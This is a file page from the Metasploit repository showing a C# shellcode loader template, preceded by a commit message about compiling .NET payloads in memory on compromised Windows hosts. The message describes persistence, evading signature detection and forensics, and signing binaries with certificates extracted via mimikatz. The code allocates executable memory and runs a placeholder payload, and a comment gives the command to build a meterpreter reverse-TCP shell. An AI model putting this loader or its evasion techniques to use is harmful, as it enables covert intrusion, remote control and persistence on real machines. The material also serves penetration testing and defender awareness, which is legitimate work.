metasploit-framework/external/source/psh_exe/dot_net_exe.cs

86 lines
2.8 KiB
C#
Raw Normal View History

Initial import of .NET compiler and persistence Add Exploit::Powershell::DotNet namespace with compiler and runtime elevator. Add compiler modules for payloads and custom .NET code/blocks. ============== Powershell-based persistence module to compile .NET templates with MSF payloads into binaries which persist on host. Templates by @hostess (way back in 2012). C# templates for simple binaries and a service executable with its own install wrapper. ============== Generic .NET compiler post module Compiles .NET source code to binary on compromised hosts. Useful for home-grown APT deployment, decoy creation, and other misdirection or collection activities. Using mimikatz (kiwi), one can also extract host-resident certs and use them to sign the generated binary, thus creating a locally trusted exe which helps with certain defensive measures. ============== Concept: Microsoft has graciously included a compiler in every modern version of Windows. Although executables which can be easily invoked by the user may not be present on all hosts, the shared runtime of .NET and Powershell exposes this functionality to all users with access to Powershell. This commit provides a way to execute the compiler entirely in memory, seeking to avoid disk access and the associated forensic and defensive measures. Resulting .NET assemblies can be run from memory, or written to disk (with the option of signing them using a pfx cert on the host). Two basic modules are provided to showcase the functionality and execution pipeline. Usage notes: Binaries generated this way are dynamic by nature and avoid sig based detection. Heuristics, sandboxing, and other isolation mechanisms must be defeated by the user for now. Play with compiler options, included libraries, and runtime environments for maximum entropy before you hit the temmplates. Defenders should watch for: Using this in conjunction with WMI/PS remoting or other MSFT native distributed execution mechanism can bring malware labs to their knees with properly crafted templates. The powershell code to generate the binaries also provides a convenient method to leave behind complex trojans which are not yet in binary form, nor will they be until execution (which can occur strictly in memory avoiding disk access for the final product). ============== On responsible disclosure: I've received some heat over the years for prior work in this arena. Everything here is already public, and has been in closed PRs in the R7 repo for years. The bad guys have had this for a while (they do their homework religiously), defenders need to be made aware of this approach and prepare themselves to deal with it.
2015-05-21 04:46:00 +00:00
using System;
using System.Runtime.InteropServices;
namespace Wrapper
{
class Program
{
[Flags]
public enum AllocationType : uint
{
COMMIT = 0x1000,
RESERVE = 0x2000,
RESET = 0x80000,
LARGE_PAGES = 0x20000000,
PHYSICAL = 0x400000,
TOP_DOWN = 0x100000,
WRITE_WATCH = 0x200000
}
[Flags]
public enum MemoryProtection : uint
{
EXECUTE = 0x10,
EXECUTE_READ = 0x20,
EXECUTE_READWRITE = 0x40,
EXECUTE_WRITECOPY = 0x80,
NOACCESS = 0x01,
READONLY = 0x02,
READWRITE = 0x04,
WRITECOPY = 0x08,
GUARD_Modifierflag = 0x100,
NOCACHE_Modifierflag = 0x200,
WRITECOMBINE_Modifierflag = 0x400
}
public enum FreeType : uint
{
MEM_DECOMMIT = 0x4000,
MEM_RELEASE = 0x8000
}
[DllImport("kernel32.dll", SetLastError = true)]
static extern IntPtr VirtualAlloc(IntPtr lpAddress, UIntPtr dwSize, AllocationType flAllocationType, MemoryProtection flProtect);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32")]
private static extern bool VirtualFree(IntPtr lpAddress, UInt32 dwSize, FreeType dwFreeType);
[UnmanagedFunctionPointerAttribute(CallingConvention.Cdecl)]
public delegate Int32 ExecuteDelegate();
static void Main()
{
// msfpayload windows/meterpreter/reverse_tcp EXITFUNC=thread LPORT=<port> LHOST=<host> R| msfencode -a x86 -e x86/alpha_mixed -t raw BufferRegister=EAX
string shellcode = "MSF_PAYLOAD_SPACE";
byte[] sc = new byte[shellcode.Length];
for (int i = 0; i < shellcode.Length; i++)
{
sc[i] = Convert.ToByte(shellcode[i]);
}
// Allocate RWX memory for the shellcode
IntPtr baseAddr = VirtualAlloc(IntPtr.Zero, (UIntPtr)(sc.Length + 1), AllocationType.RESERVE | AllocationType.COMMIT, MemoryProtection.EXECUTE_READWRITE);
try
{
// Copy shellcode to RWX buffer
Marshal.Copy(sc, 0, baseAddr, sc.Length);
// Get pointer to function created in memory
ExecuteDelegate del = (ExecuteDelegate)Marshal.GetDelegateForFunctionPointer(baseAddr, typeof(ExecuteDelegate));
del();
}
finally
{
VirtualFree(baseAddr, 0, FreeType.MEM_RELEASE);
}
}
}
}